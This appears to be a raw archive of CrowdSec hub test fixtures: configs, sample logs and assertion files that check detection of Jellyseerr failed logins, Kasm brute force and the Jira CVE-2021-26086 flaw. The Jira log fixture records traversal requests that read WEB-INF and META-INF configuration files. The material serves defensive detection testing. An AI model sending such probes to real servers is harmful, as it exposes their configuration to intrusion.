results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "jellyseerr_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "jellyseerr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-06-20T09:52:34.281Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "2022-06-20T09:52:50.332Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {\"account\":{\"ip\":\"::ffff:127.0.0.1\",\"email\":\"realuser\",\"password\":\"__REDACTED__\"}}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "jellyseerr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["timestamp"] == "2022-06-20T09:52:50.332Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["username"] == "realuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "jellyseerr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "jellyseerr_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "jellyseerr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-06-20T09:52:50.332Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["user"] == "realuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-06-20T09:52:50.332Z" len(results["success"][""]) == 0hub1/.tests/jellyseerr-logs/scenario.assert000066400000000000000000000000001437532772500213120ustar00rootroot00000000000000hub1/.tests/jira_cve-2021-26086/000077500000000000000000000000001437532772500160035ustar00rootroot00000000000000hub1/.tests/jira_cve-2021-26086/config.yaml000066400000000000000000000004071437532772500201350ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/jira_cve-2021-26086.yaml postoverflows: - "" log_file: jira_cve-2021-26086.log log_type: nginx labels: {} ignore_parsers: true hub1/.tests/jira_cve-2021-26086/jira_cve-2021-26086.log000066400000000000000000000004561437532772500213420ustar00rootroot00000000000000192.168.1.3 - - [13/Dec/2021:09:05:26 +0000] "GET /s/lkx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1" 403 118 "-" "l9explore/1.3.0" 192.168.1.4 - - [13/Dec/2021:09:05:26 +0000] "GET /s/cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1" 403 118 "-" "l9explore/1.3.0" hub1/.tests/jira_cve-2021-26086/parser.assert000066400000000000000000000000001437532772500205100ustar00rootroot00000000000000hub1/.tests/jira_cve-2021-26086/scenario.assert000066400000000000000000000045521437532772500210370ustar00rootroot00000000000000len(results) == 2 "192.168.1.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.4"].IP == "192.168.1.4" results[0].Overflow.Sources["192.168.1.4"].Range == "" results[0].Overflow.Sources["192.168.1.4"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.4"].GetValue() == "192.168.1.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "jira_cve-2021-26086.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/s/cfx/_/;/WEB-INF/classes/seraph-config.xml" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "403" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "l9explore/1.3.0" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.4" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/jira_cve-2021-26086" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "192.168.1.3" in results[1].Overflow.GetSources() results[1].Overflow.Sources["192.168.1.3"].IP == "192.168.1.3" results[1].Overflow.Sources["192.168.1.3"].Range == "" results[1].Overflow.Sources["192.168.1.3"].GetScope() == "Ip" results[1].Overflow.Sources["192.168.1.3"].GetValue() == "192.168.1.3" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "jira_cve-2021-26086.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/s/lkx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "403" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "l9explore/1.3.0" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.3" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/jira_cve-2021-26086" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/kasm-bruteforce/000077500000000000000000000000001437532772500162455ustar00rootroot00000000000000hub1/.tests/kasm-bruteforce/config.yaml000066400000000000000000000004261437532772500204000ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/crowdsecurity/kasm-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - "./scenarios/crowdsecurity/kasm-bruteforce.yaml" postoverflows: - "" collections: [] log_file: kasm-logs.log log_type: kasm ignore_parsers: truehub1/.tests/kasm-bruteforce/kasm-logs.log000066400000000000000000000072101437532772500206450ustar00rootroot00000000000000{"asctime": "2023-01-31 15:09:23,351", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 655, "module": "client_api", "threadName": "CP Server Thread-6", "message": "Authentication attempt invalid password for user: (user)", "metric_name": "account.login.failed_invalid_password", "path_info": "/authenticate", "request_ip": "1.2.3.4, 1.2.3.4, 1.2.3.4, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:09:23.351967+00:00"} {"asctime": "2023-01-31 15:09:23,351", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 655, "module": "client_api", "threadName": "CP Server Thread-6", "message": "Authentication attempt invalid password for user: (user)", "metric_name": "account.login.failed_invalid_password", "path_info": "/authenticate", "request_ip": "1.2.3.4, 1.2.3.4, 1.2.3.4, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:09:23.351967+00:00"} {"asctime": "2023-01-31 15:09:23,351", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 655, "module": "client_api", "threadName": "CP Server Thread-6", "message": "Authentication attempt invalid password for user: (user)", "metric_name": "account.login.failed_invalid_password", "path_info": "/authenticate", "request_ip": "1.2.3.4, 1.2.3.4, 1.2.3.4, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:09:23.351967+00:00"} {"asctime": "2023-01-31 15:09:23,351", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 655, "module": "client_api", "threadName": "CP Server Thread-6", "message": "Authentication attempt invalid password for user: (user)", "metric_name": "account.login.failed_invalid_password", "path_info": "/authenticate", "request_ip": "1.2.3.4, 1.2.3.4, 1.2.3.4, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:09:23.351967+00:00"} {"asctime": "2023-01-31 15:09:23,351", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 655, "module": "client_api", "threadName": "CP Server Thread-6", "message": "Authentication attempt invalid password for user: (user)", "metric_name": "account.login.failed_invalid_password", "path_info": "/authenticate", "request_ip": "1.2.3.4, 1.2.3.4, 1.2.3.4, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:09:23.351967+00:00"} {"asctime": "2023-01-31 15:09:23,351", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 655, "module": "client_api", "threadName": "CP Server Thread-6", "message": "Authentication attempt invalid password for user: (user)", "metric_name": "account.login.failed_invalid_password", "path_info": "/authenticate", "request_ip": "1.2.3.4, 1.2.3.4, 1.2.3.4, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:09:23.351967+00:00"} hub1/.tests/kasm-bruteforce/parser.assert000066400000000000000000000000001437532772500207520ustar00rootroot00000000000000hub1/.tests/kasm-bruteforce/scenario.assert000066400000000000000000000063471437532772500213050ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "kasm-logs.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/authenticate" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results[0].Overflow.Alert.Events[0].GetMeta("metric_name") == "account.login.failed_invalid_password" results[0].Overflow.Alert.Events[0].GetMeta("service") == "kasm" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2023-01-31T15:09:23.351967Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "kasm-logs.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/authenticate" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results[0].Overflow.Alert.Events[1].GetMeta("metric_name") == "account.login.failed_invalid_password" results[0].Overflow.Alert.Events[1].GetMeta("service") == "kasm" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2023-01-31T15:09:23.351967Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "kasm-logs.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/authenticate" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results[0].Overflow.Alert.Events[2].GetMeta("metric_name") == "account.login.failed_invalid_password" results[0].Overflow.Alert.Events[2].GetMeta("service") == "kasm" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2023-01-31T15:09:23.351967Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "kasm-logs.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/authenticate" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results[0].Overflow.Alert.Events[3].GetMeta("metric_name") == "account.login.failed_invalid_password" results[0].Overflow.Alert.Events[3].GetMeta("service") == "kasm" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2023-01-31T15:09:23.351967Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/kasm-bruteforce" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 4hub1/.tests/kasm/000077500000000000000000000000001437532772500141075ustar00rootroot00000000000000hub1/.tests/kasm/config.yaml000066400000000000000000000003241437532772500162370ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/crowdsecurity/kasm-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" collections: [] log_file: kasm-logs.log log_type: kasm hub1/.tests/kasm/kasm-logs.log000066400000000000000000000061421437532772500165120ustar00rootroot00000000000000{"asctime": "2023-01-31 15:05:01,896", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 744, "module": "client_api", "threadName": "CP Server Thread-8", "message": "Authentication attempt invalid user: (user1)", "metric_name": "account.login.failed_invalid_user", "path_info": "/authenticate", "request_ip": "185.234.70.33, 185.234.70.33, 185.234.70.33, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:05:01.896185+00:00"} {"asctime": "2023-01-31 15:05:05,305", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 744, "module": "client_api", "threadName": "CP Server Thread-13", "message": "Authentication attempt invalid user: (user2)", "metric_name": "account.login.failed_invalid_user", "path_info": "/authenticate", "request_ip": "185.234.70.33, 185.234.70.33, 185.234.70.33, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:05:05.305390+00:00"} {"asctime": "2023-01-31 15:07:41,658", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 655, "module": "client_api", "threadName": "CP Server Thread-6", "message": "Authentication attempt invalid password for user: (user)", "metric_name": "account.login.failed_invalid_password", "path_info": "/authenticate", "request_ip": "192.166.246.231, 192.166.246.231, 192.166.246.231, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:07:41.658700+00:00"} {"asctime": "2023-01-31 15:07:43,373", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 655, "module": "client_api", "threadName": "CP Server Thread-7", "message": "Authentication attempt invalid password for user: (user)", "metric_name": "account.login.failed_invalid_password", "path_info": "/authenticate", "request_ip": "192.166.246.231, 192.166.246.231, 192.166.246.231, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:07:43.373934+00:00"} {"asctime": "2023-01-31 15:09:23,351", "name": "client_api_server", "processName": "MainProcess", "filename": "client_api.py", "funcName": "authenticate", "levelname": "WARNING", "lineno": 655, "module": "client_api", "threadName": "CP Server Thread-6", "message": "Authentication attempt invalid password for user: (user)", "metric_name": "account.login.failed_invalid_password", "path_info": "/authenticate", "request_ip": "185.234.70.44, 185.234.70.44, 185.234.70.44, 192.168.32.12", "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "timestamp": "2023-01-31T15:09:23.351967+00:00"}hub1/.tests/kasm/parser.assert000066400000000000000000000637141437532772500166410ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 5 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:05:01,896\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 744, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-8\", \"message\": \"Authentication attempt invalid user: (user1)\", \"metric_name\": \"account.login.failed_invalid_user\", \"path_info\": \"/authenticate\", \"request_ip\": \"185.234.70.33, 185.234.70.33, 185.234.70.33, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:05:01.896185+00:00\"}" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "kasm" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:05:05,305\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 744, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-13\", \"message\": \"Authentication attempt invalid user: (user2)\", \"metric_name\": \"account.login.failed_invalid_user\", \"path_info\": \"/authenticate\", \"request_ip\": \"185.234.70.33, 185.234.70.33, 185.234.70.33, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:05:05.305390+00:00\"}" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "kasm" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:07:41,658\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 655, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-6\", \"message\": \"Authentication attempt invalid password for user: (user)\", \"metric_name\": \"account.login.failed_invalid_password\", \"path_info\": \"/authenticate\", \"request_ip\": \"192.166.246.231, 192.166.246.231, 192.166.246.231, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:07:41.658700+00:00\"}" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "kasm" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "kasm" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:07:43,373\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 655, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-7\", \"message\": \"Authentication attempt invalid password for user: (user)\", \"metric_name\": \"account.login.failed_invalid_password\", \"path_info\": \"/authenticate\", \"request_ip\": \"192.166.246.231, 192.166.246.231, 192.166.246.231, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:07:43.373934+00:00\"}" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:09:23,351\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 655, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-6\", \"message\": \"Authentication attempt invalid password for user: (user)\", \"metric_name\": \"account.login.failed_invalid_password\", \"path_info\": \"/authenticate\", \"request_ip\": \"185.234.70.44, 185.234.70.44, 185.234.70.44, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:09:23.351967+00:00\"}" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "kasm" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 5 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false len(results["s01-parse"]["crowdsecurity/kasm-logs"]) == 5 results["s01-parse"]["crowdsecurity/kasm-logs"][0].Success == true results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:05:01,896\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 744, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-8\", \"message\": \"Authentication attempt invalid user: (user1)\", \"metric_name\": \"account.login.failed_invalid_user\", \"path_info\": \"/authenticate\", \"request_ip\": \"185.234.70.33, 185.234.70.33, 185.234.70.33, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:05:01.896185+00:00\"}" results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Parsed["program"] == "kasm" results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Parsed["proxies"] == " 185.234.70.33, 185.234.70.33, 192.168.32.12" results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Parsed["remote_ip"] == "185.234.70.33" results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Meta["source_ip"] == "185.234.70.33" results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Meta["http_path"] == "/authenticate" results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Meta["metric_name"] == "account.login.failed_invalid_user" results["s01-parse"]["crowdsecurity/kasm-logs"][0].Evt.Meta["service"] == "kasm" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Success == true results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:05:05,305\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 744, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-13\", \"message\": \"Authentication attempt invalid user: (user2)\", \"metric_name\": \"account.login.failed_invalid_user\", \"path_info\": \"/authenticate\", \"request_ip\": \"185.234.70.33, 185.234.70.33, 185.234.70.33, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:05:05.305390+00:00\"}" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Parsed["program"] == "kasm" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Parsed["proxies"] == " 185.234.70.33, 185.234.70.33, 192.168.32.12" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Parsed["remote_ip"] == "185.234.70.33" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Meta["service"] == "kasm" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Meta["source_ip"] == "185.234.70.33" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Meta["http_path"] == "/authenticate" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results["s01-parse"]["crowdsecurity/kasm-logs"][1].Evt.Meta["metric_name"] == "account.login.failed_invalid_user" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Success == true results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:07:41,658\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 655, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-6\", \"message\": \"Authentication attempt invalid password for user: (user)\", \"metric_name\": \"account.login.failed_invalid_password\", \"path_info\": \"/authenticate\", \"request_ip\": \"192.166.246.231, 192.166.246.231, 192.166.246.231, 192.168.32.12\", \"user_agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\", \"timestamp\": \"2023-01-31T15:07:41.658700+00:00\"}" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Parsed["program"] == "kasm" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Parsed["proxies"] == " 192.166.246.231, 192.166.246.231, 192.168.32.12" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Parsed["remote_ip"] == "192.166.246.231" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Meta["service"] == "kasm" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Meta["source_ip"] == "192.166.246.231" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Meta["datasource_path"] == "kasm-logs.log" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Meta["http_path"] == "/authenticate" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0" results["s01-parse"]["crowdsecurity/kasm-logs"][2].Evt.Meta["metric_name"] == "account.login.failed_invalid_password" results["s01-parse"]["crowdsecurity/kasm-logs"][3].Success == true results["s01-parse"]["crowdsecurity/kasm-logs"][3].Evt.Parsed["message"] == "{\"asctime\": \"2023-01-31 15:07:43,373\", \"name\": \"client_api_server\", \"processName\": \"MainProcess\", \"filename\": \"client_api.py\", \"funcName\": \"authenticate\", \"levelname\": \"WARNING\", \"lineno\": 655, \"module\": \"client_api\", \"threadName\": \"CP Server Thread-7\", \"message\": \"Authentication attempt invalid password for user: 